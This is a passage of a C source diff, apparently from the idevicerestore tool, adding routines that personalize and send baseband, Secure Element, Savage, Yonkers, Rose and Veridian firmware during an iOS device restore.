+ if (bb_cert_id_node && plist_get_node_type(bb_cert_id_node) == PLIST_UINT) {
+ plist_get_uint_val(bb_cert_id_node, &bb_cert_id);
+ }
+ plist_t bb_snum_node = plist_dict_get_item(arguments, "ChipSerialNo");
+ if (bb_snum_node && plist_get_node_type(bb_snum_node) == PLIST_DATA) {
+ plist_get_data_val(bb_snum_node, (char**)&bb_snum, &bb_snum_size);
+ }
+ plist_t bb_nonce_node = plist_dict_get_item(arguments, "Nonce");
+ if (bb_nonce_node && plist_get_node_type(bb_nonce_node) == PLIST_DATA) {
+ plist_get_data_val(bb_nonce_node, (char**)&bb_nonce, &bb_nonce_size);
+ }
+ }
+
+ if ((bb_nonce == NULL) || (client->restore->bbtss == NULL)) {
+ /* populate parameters */
+ plist_t parameters = plist_new_dict();
+ plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid));
+ if (bb_nonce) {
+ plist_dict_set_item(parameters, "BbNonce", plist_new_data((const char*)bb_nonce, bb_nonce_size));
+ }
+ plist_dict_set_item(parameters, "BbChipID", plist_new_uint(bb_chip_id));
+ plist_dict_set_item(parameters, "BbGoldCertId", plist_new_uint(bb_cert_id));
+ plist_dict_set_item(parameters, "BbSNUM", plist_new_data((const char*)bb_snum, bb_snum_size));
+
+ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true);
+
+ /* create baseband request */
+ plist_t request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create Baseband TSS request\n");
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* add baseband parameters */
+ tss_request_add_common_tags(request, parameters, NULL);
+ tss_request_add_baseband_tags(request, parameters, NULL);
+
+ plist_t node = plist_access_path(client->restore->build_identity, 2, "Info", "FDRSupport");
+ if (node && plist_get_node_type(node) == PLIST_BOOLEAN) {
+ uint8_t b = 0;
+ plist_get_bool_val(node, &b);
+ if (b) {
+ plist_dict_set_item(request, "ApProductionMode", plist_new_bool(1));
+ plist_dict_set_item(request, "ApSecurityMode", plist_new_bool(1));
+ }
+ }
+ logger(LL_INFO, "Sending Baseband TSS request...\n");
+ logger_dump_plist(LL_DEBUG, request, 0);
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ plist_free(parameters);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch Baseband TSS\n");
+ return -1;
+ }
+ logger(LL_INFO, "Received Baseband SHSH blobs\n");
+ logger_dump_plist(LL_DEBUG, response, 0);
+ }
+
+ // get baseband firmware file path from build identity
+ plist_t bbfw_path = plist_access_path(client->restore->build_identity, 4, "Manifest", "BasebandFirmware", "Info", "Path");
+ if (!bbfw_path || plist_get_node_type(bbfw_path) != PLIST_STRING) {
+ logger(LL_ERROR, "Unable to get BasebandFirmware/Info/Path node\n");
+ plist_free(response);
+ return -1;
+ }
+ char* bbfwpath = NULL;
+ plist_get_string_val(bbfw_path, &bbfwpath);
+ if (!bbfwpath) {
+ logger(LL_ERROR, "Unable to get baseband path\n");
+ plist_free(response);
+ return -1;
+ }
+
+ // extract baseband firmware to temp file
+ bbfwtmp = get_temp_filename("bbfw_");
+ if (!bbfwtmp) {
+ size_t l = strlen(client->udid);
+ bbfwtmp = malloc(l + 10);
+ strcpy(bbfwtmp, "bbfw_");
+ strncpy(bbfwtmp + 5, client->udid, l);
+ strcpy(bbfwtmp + 5 + l, ".tmp");
+ logger(LL_WARNING, "Could not generate temporary filename, using %s in current directory\n", bbfwtmp);
+ }
+ if (ipsw_extract_to_file(client->ipsw, bbfwpath, bbfwtmp) != 0) {
+ logger(LL_ERROR, "Unable to extract baseband firmware from ipsw\n");
+ goto leave;
+ }
+
+ if (bb_nonce && !client->restore->bbtss) {
+ // keep the response for later requests
+ client->restore->bbtss = response;
+ response = NULL;
+ }
+
+ res = restore_sign_bbfw(bbfwtmp, (client->restore->bbtss) ? client->restore->bbtss : response, bb_nonce, bb_chip_id);
+ if (res != 0) {
+ goto leave;
+ }
+
+ res = -1;
+
+ size_t sz = 0;
+ if (read_file(bbfwtmp, (void**)&buffer, &sz) < 0) {
+ logger(LL_ERROR, "could not read updated bbfw archive\n");
+ goto leave;
+ }
+
+ // send file
+ dict = plist_new_dict();
+ plist_dict_set_item(dict, "BasebandData", plist_new_data(buffer, sz));
+ free(buffer);
+ buffer = NULL;
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending BasebandData now...\n");
+ if (_restore_service_send(service, dict, 0) != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send BasebandData data\n");
+ goto leave;
+ }
+
+ _restore_service_free(service);
+
+ logger(LL_INFO, "Done sending BasebandData\n");
+ res = 0;
+
+leave:
+ plist_free(dict);
+ free(buffer);
+ if (bbfwtmp) {
+ if (client->flags & FLAG_KEEP_PERS) {
+ const char* bbfwname = path_get_basename(bbfwtmp);
+ logger(LL_VERBOSE, "%s: Keeping personalized BBFW as %s\n", __func__, bbfwname);
+ rename(bbfwtmp, bbfwname);
+ } else {
+ remove(bbfwtmp);
+ }
+ free(bbfwtmp);
+ }
+ plist_free(response);
+
+ return res;
+}
+
+int restore_send_fdr_trust_data(struct idevicerestore_client_t* client, plist_t message)
+{
+ restored_error_t restore_error;
+ plist_t dict;
+
+ logger(LL_INFO, "About to send FDR Trust data...\n");
+
+ // FIXME: What should we send here?
+ /* Sending an empty dict makes it continue with FDR
+ * and this is what iTunes seems to be doing too */
+ dict = plist_new_dict();
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending FDR Trust data now...\n");
+ restore_error = _restore_service_send(service, dict, 0);
+ plist_free(dict);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "During sending FDR Trust data (%d)\n", restore_error);
+ return -1;
+ }
+
+ logger(LL_INFO, "Done sending FDR Trust Data\n");
+
+ return 0;
+}
+
+static int restore_send_image_data(struct idevicerestore_client_t *client, plist_t message, const char *image_list_k, const char *image_type_k, const char *image_data_k)
+{
+ restored_error_t restore_error;
+ plist_t arguments;
+ plist_t dict;
+ plist_t node;
+ plist_t matched_images = NULL;
+ plist_t data_dict = NULL;
+ plist_t build_id_manifest;
+ plist_dict_iter iter = NULL;
+ char *image_name = NULL;
+ int want_image_list = 0;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return -1;
+ }
+
+ arguments = plist_dict_get_item(message, "Arguments");
+ want_image_list = plist_dict_get_bool(arguments, image_list_k);
+ node = plist_dict_get_item(arguments, "ImageName");
+ if (node) {
+ plist_get_string_val(node, &image_name);
+ }
+ if (!image_type_k) {
+ node = plist_dict_get_item(arguments, "ImageType");
+ if (node) {
+ image_type_k = plist_get_string_ptr(node, NULL);
+ }
+ }
+ if (!image_type_k) {
+ logger(LL_ERROR, "Missing ImageType\n");
+ return -1;
+ }
+
+ if (!want_image_list && !image_name) {
+ logger(LL_INFO, "About to send %s...\n", image_data_k);
+ }
+
+ if (want_image_list) {
+ matched_images = plist_new_array();
+ } else {
+ data_dict = plist_new_dict();
+ }
+
+ build_id_manifest = plist_dict_get_item(client->restore->build_identity, "Manifest");
+ if (build_id_manifest) {
+ plist_dict_new_iter(build_id_manifest, &iter);
+ }
+ if (iter) {
+ char *component;
+ plist_t manifest_entry;
+ do {
+ component = NULL;
+ manifest_entry = NULL;
+ plist_dict_next_item(build_id_manifest, iter, &component, &manifest_entry);
+ if (component && manifest_entry && plist_get_node_type(manifest_entry) == PLIST_DICT) {
+ uint8_t is_image_type = 0;
+ plist_t is_image_type_node = plist_access_path(manifest_entry, 2, "Info", image_type_k);
+ if (is_image_type_node && plist_get_node_type(is_image_type_node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(is_image_type_node, &is_image_type);
+ }
+ if (is_image_type) {
+ if (want_image_list) {
+ logger(LL_INFO, "Found %s component %s\n", image_type_k, component);
+ plist_array_append_item(matched_images, plist_new_string(component));
+ } else if (!image_name || !strcmp(image_name, component)) {
+ char *path = NULL;
+ void* data = NULL;
+ size_t size = 0;
+ void* component_data = NULL;
+ size_t component_size = 0;
+ int ret = -1;
+
+ if (!image_name) {
+ logger(LL_INFO, "Found %s component '%s'\n", image_type_k, component);
+ }
+ build_identity_get_component_path(client->restore->build_identity, component, &path);
+ if (path) {
+ ret = extract_component(client->ipsw, path, &component_data, &component_size);
+ }
+ free(path);
+ path = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract component: %s\n", component);
+ }
+
+ ret = personalize_component(client, component, component_data, component_size, client->tss, &data, &size);
+ free(component_data);
+ component_data = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component: %s\n", component);
+ }
+
+ plist_dict_set_item(data_dict, component, plist_new_data((const char*)data, size));
+ free(data);
+ }
+ }
+ free(component);
+ }
+ } while (manifest_entry);
+ free(iter);
+ }
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ dict = plist_new_dict();
+ if (want_image_list) {
+ plist_dict_set_item(dict, image_list_k, matched_images);
+ logger(LL_INFO, "Sending %s image list\n", image_type_k);
+ } else {
+ if (image_name) {
+ node = plist_dict_get_item(data_dict, image_name);
+ if (node) {
+ plist_dict_set_item(dict, image_data_k, plist_copy(node));
+ }
+ plist_dict_set_item(dict, "ImageName", plist_new_string(image_name));
+ logger(LL_INFO, "Sending %s for %s...\n", image_type_k, image_name);
+ } else {
+ plist_dict_set_item(dict, image_data_k, data_dict);
+ logger(LL_INFO, "Sending %s now...\n", image_type_k);
+ }
+ }
+
+ restore_error = _restore_service_send(service, dict, 0);
+ plist_free(dict);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ if (want_image_list) {
+ logger(LL_ERROR, "Failed to send %s image list (%d)\n", image_type_k, restore_error);
+ } else {
+ if (image_name) {
+ logger(LL_ERROR, "Failed to send %s for %s (%d)\n", image_type_k, image_name, restore_error);
+ free(image_name);
+ } else {
+ logger(LL_ERROR, "Failed to send %s (%d)\n", image_type_k, restore_error);
+ }
+ }
+ return -1;
+ }
+
+ if (!want_image_list) {
+ if (image_name) {
+ free(image_name);
+ } else {
+ logger(LL_INFO, "Done sending %s\n", image_type_k);
+ }
+ }
+
+ return 0;
+}
+
+static int _wants_firmware_data(plist_t arguments)
+{
+ int result = 0;
+ plist_t tags = plist_access_path(arguments, 2, "DeviceGeneratedTags", "ResponseTags");
+ if (tags) {
+ plist_array_iter iter = NULL;
+ plist_array_new_iter(tags, &iter);
+ plist_t node = NULL;
+ do {
+ plist_array_next_item(tags, iter, &node);
+ if (node) {
+ const char* tag = plist_get_string_ptr(node, NULL);
+ if (tag && (strcmp(tag, "FirmwareData") == 0)) {
+ result = 1;
+ }
+ }
+ } while (node);
+ plist_mem_free(iter);
+ }
+ return result;
+}
+
+static plist_t restore_get_se_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments)
+{
+ const char *comp_name = NULL;
+ char *comp_path = NULL;
+ void* component_data = NULL;
+ size_t component_size = 0;
+ plist_t parameters = NULL;
+ plist_t request = NULL;
+ plist_t response = NULL;
+ plist_t p_dgr = NULL;
+ int ret;
+ uint64_t chip_id = 0;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return NULL;
+ }
+
+ plist_t node = plist_dict_get_item(p_info, "SE,ChipID");
+ if (node && plist_get_node_type(node) == PLIST_UINT) {
+ plist_get_uint_val(node, &chip_id);
+ }
+ if (chip_id == 0x20211) {
+ comp_name = "SE,Firmware";
+ } else if (chip_id == 0x73 || chip_id == 0x64 || chip_id == 0xC8 || chip_id == 0xD2 || chip_id == 0x2C || chip_id == 0x36 || chip_id == 0x37) {
+ comp_name = "SE,UpdatePayload";
+ } else {
+ logger(LL_WARNING, "Unknown SE,ChipID 0x%" PRIx64 " detected. Restore might fail.\n", (uint64_t)chip_id);
+ if (build_identity_has_component(client->restore->build_identity, "SE,UpdatePayload"))
+ comp_name = "SE,UpdatePayload";
+ else if (build_identity_has_component(client->restore->build_identity, "SE,Firmware"))
+ comp_name = "SE,Firmware";
+ else {
+ logger(LL_ERROR, "Neither 'SE,Firmware' nor 'SE,UpdatePayload' found in build identity.\n");
+ return NULL;
+ }
+ logger(LL_DEBUG, "%s: using %s\n", __func__, comp_name);
+ }
+
+ p_dgr = plist_dict_get_item(arguments, "DeviceGeneratedRequest");
+ if (!p_dgr) {
+ logger(LL_NOTICE, "%s: No DeviceGeneratedRequest in firmware updater data request. Continuing anyway.\n", __func__);
+ } else if (!PLIST_IS_DICT(p_dgr)) {
+ logger(LL_ERROR, "%s: DeviceGeneratedRequest has invalid type!\n", __func__);
+ return NULL;
+ }
+
+ /* create SE request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create SE TSS request\n");
+ free(component_data);
+ return NULL;
+ }
+
+ parameters = plist_new_dict();
+
+ /* add manifest for current build_identity to parameters */
+ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true);
+
+ /* add SE,* tags from info dictionary to parameters */
+ plist_dict_merge(&parameters, p_info);
+
+ /* add required tags for SE TSS request */
+ tss_request_add_se_tags(request, parameters, p_dgr);
+
+ plist_free(parameters);
+
+ logger(LL_INFO, "Sending SE TSS request...\n");
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch SE ticket\n");
+ free(component_data);
+ return NULL;
+ }
+
+ if (plist_dict_get_item(response, "SE2,Ticket")) {
+ logger(LL_INFO, "Received SE2,Ticket\n");
+ } else if (plist_dict_get_item(response, "SE,Ticket")) {
+ logger(LL_INFO, "Received SE,Ticket\n");
+ } else {
+ logger(LL_ERROR, "No 'SE ticket' in TSS response, this might not work\n");
+ }
+
+ /* don't add FirmwareData if not requested via ResponseTags */
+ if (!_wants_firmware_data(arguments)) {
+ logger(LL_DEBUG, "Not adding FirmwareData as it was not requested\n");
+ return response;
+ }
+
+ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to get path for '%s' component\n", comp_name);
+ return NULL;
+ }
+
+ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size);
+ free(comp_path);
+ comp_path = NULL;
+ if (ret < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to extract '%s' component\n", comp_name);
+ return NULL;
+ }
+
+ plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size));
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+
+ return response;
+}
+
+static plist_t restore_get_savage_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments)
+{
+ char *comp_name = NULL;
+ char *comp_path = NULL;
+ void* component_data = NULL;
+ size_t component_size = 0;
+ void* component_data_tmp = NULL;
+ plist_t parameters = NULL;
+ plist_t request = NULL;
+ plist_t response = NULL;
+ int ret;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return NULL;
+ }
+
+ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest");
+ if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) {
+ logger(LL_ERROR, "%s: DeviceGeneratedRequest has invalid type!\n", __func__);
+ return NULL;
+ }
+
+ /* create Savage request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create Savage TSS request\n");
+ return NULL;
+ }
+
+ parameters = plist_new_dict();
+
+ /* add manifest for current build_identity to parameters */
+ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true);
+
+ /* add Savage,* tags from info dictionary to parameters */
+ plist_dict_merge(&parameters, p_info);
+
+ /* add required tags for Savage TSS request */
+ tss_request_add_savage_tags(request, parameters, device_generated_request, &comp_name);
+
+ plist_free(parameters);
+
+ if (!comp_name) {
+ logger(LL_ERROR, "Could not determine Savage firmware component\n");
+ plist_free(request);
+ return NULL;
+ }
+ logger(LL_DEBUG, "%s: using %s\n", __func__, comp_name);
+
+ logger(LL_INFO, "Sending Savage TSS request...\n");
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch Savage ticket\n");
+ free(comp_name);
+ return NULL;
+ }
+
+ if (plist_dict_get_item(response, "Savage,Ticket")) {
+ logger(LL_INFO, "Received Savage ticket\n");
+ } else {
+ logger(LL_ERROR, "No 'Savage,Ticket' in TSS response, this might not work\n");
+ }
+
+ /* don't add FirmwareData if not requested via ResponseTags */
+ if (!_wants_firmware_data(arguments)) {
+ logger(LL_DEBUG, "Not adding FirmwareData as it was not requested\n");
+ return response;
+ }
+
+ /* now get actual component data */
+ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to get path for '%s' component\n", comp_name);
+ free(comp_name);
+ return NULL;
+ }
+
+ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size);
+ free(comp_path);
+ comp_path = NULL;
+ if (ret < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to extract '%s' component\n", comp_name);
+ free(comp_name);
+ return NULL;
+ }
+ free(comp_name);
+ comp_name = NULL;
+
+ component_data_tmp = realloc(component_data, (size_t)component_size+16);
+ if (!component_data_tmp) {
+ free(component_data);
+ plist_free(response);
+ return NULL;
+ }
+ component_data = component_data_tmp;
+ memmove(component_data + 16, component_data, (size_t)component_size);
+ memset(component_data, '\0', 16);
+ *(uint32_t*)(component_data + 4) = htole32((uint32_t)component_size);
+ component_size += 16;
+
+ plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size));
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+
+ return response;
+}
+
+static plist_t restore_get_yonkers_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments)
+{
+ char *comp_name = NULL;
+ char *comp_path = NULL;
+ void* component_data = NULL;
+ size_t component_size = 0;
+ plist_t parameters = NULL;
+ plist_t request = NULL;
+ plist_t response = NULL;
+ int ret;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return NULL;
+ }
+
+ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest");
+ if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) {
+ logger(LL_ERROR, "%s: DeviceGeneratedRequest has invalid type!\n", __func__);
+ return NULL;
+ }
+
+ /* create Yonkers request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create Yonkers TSS request\n");
+ return NULL;
+ }
+
+ parameters = plist_new_dict();
+
+ /* add manifest for current build_identity to parameters */
+ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true);
+
+ /* add Yonkers,* tags from info dictionary to parameters */
+ plist_dict_merge(&parameters, p_info);
+
+ /* add required tags for Yonkers TSS request */
+ tss_request_add_yonkers_tags(request, parameters, device_generated_request, &comp_name);
+
+ plist_free(parameters);
+
+ if (!comp_name) {
+ logger(LL_ERROR, "Could not determine Yonkers firmware component\n");
+ plist_free(request);
+ return NULL;
+ }
+ logger(LL_DEBUG, "%s: using %s\n", __func__, comp_name);
+
+ logger(LL_INFO, "Sending Yonkers TSS request...\n");
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch Yonkers ticket\n");
+ free(comp_name);
+ return NULL;
+ }
+
+ if (plist_dict_get_item(response, "Yonkers,Ticket")) {
+ logger(LL_INFO, "Received Yonkers ticket\n");
+ } else {
+ logger(LL_ERROR, "No 'Yonkers,Ticket' in TSS response, this might not work\n");
+ }
+
+ /* don't add FirmwareData if not requested via ResponseTags */
+ if (!_wants_firmware_data(arguments)) {
+ logger(LL_DEBUG, "Not adding FirmwareData as it was not requested\n");
+ free(comp_name);
+ return response;
+ }
+
+ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to get path for '%s' component\n", comp_name);
+ free(comp_name);
+ return NULL;
+ }
+
+ /* now get actual component data */
+ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size);
+ free(comp_path);
+ comp_path = NULL;
+ if (ret < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to extract '%s' component\n", comp_name);
+ free(comp_name);
+ return NULL;
+ }
+ free(comp_name);
+ comp_name = NULL;
+
+ plist_t firmware_data = plist_new_dict();
+ plist_dict_set_item(firmware_data, "YonkersFirmware", plist_new_data((char*)component_data, component_size));
+ plist_dict_set_item(response, "FirmwareData", firmware_data);
+
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+
+ return response;
+}
+
+static plist_t restore_get_rose_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments)
+{
+ char *comp_name = NULL;
+ char *comp_path = NULL;
+ void* component_data = NULL;
+ size_t component_size = 0;
+ ftab_t ftab = NULL;
+ ftab_t rftab = NULL;
+ uint32_t ftag = 0;
+ plist_t parameters = NULL;
+ plist_t request = NULL;
+ plist_t response = NULL;
+ int ret;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return NULL;
+ }
+
+ /* create Rose request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create Rose TSS request\n");
+ return NULL;
+ }
+
+ parameters = plist_new_dict();
+
+ /* add manifest for current build_identity to parameters */
+ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true);
+
+ plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1));
+ if (client->image4supported) {
+ plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1));
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1));
+ } else {
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0));
+ }
+
+ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest");
+ if (device_generated_request) {
+ /* use DeviceGeneratedRequest if present */
+ plist_dict_merge(&request, device_generated_request);
+ } else {
+ /* add Rap,* tags from info dictionary to parameters */
+ plist_dict_merge(&parameters, p_info);
+ }
+
+ /* add required tags for Rose TSS request */
+ tss_request_add_rose_tags(request, parameters, NULL);
+
+ plist_free(parameters);
+
+ logger(LL_INFO, "Sending Rose TSS request...\n");
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch Rose ticket\n");
+ return NULL;
+ }
+
+ if (plist_dict_get_item(response, "Rap,Ticket")) {
+ logger(LL_INFO, "Received Rose ticket\n");
+ } else {
+ logger(LL_ERROR, "No 'Rap,Ticket' in TSS response, this might not work\n");
+ }
+
+ /* don't add FirmwareData if not requested via ResponseTags */
+ if (!_wants_firmware_data(arguments)) {
+ logger(LL_DEBUG, "Not adding FirmwareData as it was not requested\n");
+ return response;
+ }
+
+ comp_name = "Rap,RTKitOS";
+ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to get path for '%s' component\n", comp_name);
+ return NULL;
+ }
+ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size);
+ free(comp_path);
+ comp_path = NULL;
+ if (ret < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to extract '%s' component\n", comp_name);
+ return NULL;
+ }
+ if (ftab_parse(component_data, component_size, &ftab, &ftag) != 0) {
+ plist_free(response);
+ free(component_data);
+ logger(LL_ERROR, "Failed to parse '%s' component data.\n", comp_name);
+ return NULL;
+ }
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+ if (ftag != 'rkos') {
+ logger(LL_WARNING, "Unexpected tag 0x%08x, expected 0x%08x; continuing anyway.\n", ftag, 'rkos');
+ }
+
+ comp_name = "Rap,RestoreRTKitOS";
+ if (build_identity_has_component(client->restore->build_identity, comp_name)) {
+ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) {
+ ftab_free(ftab);
+ plist_free(response);
+ logger(LL_ERROR, "Unable to get path for '%s' component\n", comp_name);
+ return NULL;
+ }
+ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size);
+ free(comp_path);
+ comp_path = NULL;
+ if (ret < 0) {
+ ftab_free(ftab);
+ plist_free(response);
+ logger(LL_ERROR, "Unable to extract '%s' component\n", comp_name);
+ return NULL;
+ }
+
+ ftag = 0;
+ if (ftab_parse(component_data, component_size, &rftab, &ftag) != 0) {
+ free(component_data);
+ ftab_free(ftab);
+ plist_free(response);
+ logger(LL_ERROR, "Failed to parse '%s' component data.\n", comp_name);
+ return NULL;
+ }
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+ if (ftag != 'rkos') {
+ logger(LL_WARNING, "Unexpected tag 0x%08x, expected 0x%08x; continuing anyway.\n", ftag, 'rkos');
+ }
+
+ if (ftab_get_entry_ptr(rftab, 'rrko', &component_data, &component_size) == 0) {
+ ftab_add_entry(ftab, 'rrko', component_data, component_size);
+ } else {
+ logger(LL_ERROR, "Could not find 'rrko' entry in ftab. This will probably break things.\n");
+ }
+ ftab_free(rftab);
+ component_data = NULL;
+ component_size = 0;
+ } else {
+ logger(LL_NOTICE, "Build identity does not have a '%s' component.\n", comp_name);
+ }
+
+ ftab_write(ftab, &component_data, &component_size);
+ ftab_free(ftab);
+
+ plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size));
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+
+ return response;
+}
+
+static plist_t restore_get_veridian_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments)
+{
+ char *comp_name = "BMU,FirmwareMap";
+ char *comp_path = NULL;
+ void* component_data = NULL;
+ size_t component_size = 0;
+ plist_t parameters = NULL;
+ plist_t request = NULL;
+ plist_t response = NULL;
+ int ret;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return NULL;
+ }
+
+ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest");
+ if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) {
+ logger(LL_ERROR, "%s: DeviceGeneratedRequest has invalid type!\n", __func__);
+ return NULL;
+ }
+
+ /* create Veridian request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create Veridian TSS request\n");
+ free(component_data);
+ return NULL;
+ }
+
+ parameters = plist_new_dict();
+
+ /* add manifest for current build_identity to parameters */
+ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true);
+
+ /* add BMU,* tags from info dictionary to parameters */
+ plist_dict_merge(&parameters, p_info);
+
+ /* add required tags for Veridian TSS request */
+ tss_request_add_veridian_tags(request, parameters, device_generated_request);
+
+ plist_free(parameters);
+
+ logger(LL_INFO, "Sending Veridian TSS request...\n");
+ response = tss_request_send(request, client->tss_url);
+ plist_free(request);
+ if (response == NULL) {
+ logger(LL_ERROR, "Unable to fetch Veridian ticket\n");
+ free(component_data);
+ return NULL;
+ }
+
+ if (plist_dict_get_item(response, "BMU,Ticket")) {
+ logger(LL_INFO, "Received Veridian ticket\n");
+ } else {
+ logger(LL_ERROR, "No 'BMU,Ticket' in TSS response, this might not work\n");
+ }
+
+ /* don't add FirmwareData if not requested via ResponseTags */
+ if (!_wants_firmware_data(arguments)) {
+ logger(LL_DEBUG, "Not adding FirmwareData as it was not requested\n");
+ return response;
+ }
+
+ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to get path for '%s' component\n", comp_name);
+ return NULL;
+ }
+
+ /* now get actual component data */
+ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size);
+ free(comp_path);
+ comp_path = NULL;
+ if (ret < 0) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to extract '%s' component\n", comp_name);
+ return NULL;
+ }
+
+ plist_t fw_map = NULL;
+ if (plist_is_binary((const char*)component_data, component_size)) {
+ plist_from_bin((const char*)component_data, component_size, &fw_map);
+ } else {
+ plist_from_xml((const char*)component_data, component_size, &fw_map);
+ }
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+
+ if (!fw_map) {
+ plist_free(response);
+ logger(LL_ERROR, "Unable to parse '%s' component data as plist\n", comp_name);
+ return NULL;
+ }
+
+ plist_t fw_map_digest = plist_access_path(client->restore->build_identity, 3, "Manifest", comp_name, "Digest");
+ if (!fw_map_digest) {
+ plist_free(fw_map);
+ plist_free(response);
+ logger(LL_ERROR, "Unable to get Digest for '%s' component\n", comp_name);
+ return NULL;
+ }
+
+ plist_dict_set_item(fw_map, "fw_map_digest", plist_copy(fw_map_digest));
+
+ char *bin_plist = NULL;
+ uint32_t bin_size = 0;
+ plist_to_bin(fw_map, &bin_plist, &bin_size);
+ plist_free(fw_map);
+
+ plist_dict_set_item(response, "FirmwareData", plist_new_data(bin_plist, bin_size));
+ free(bin_plist);
+
+ return response;
+}
+
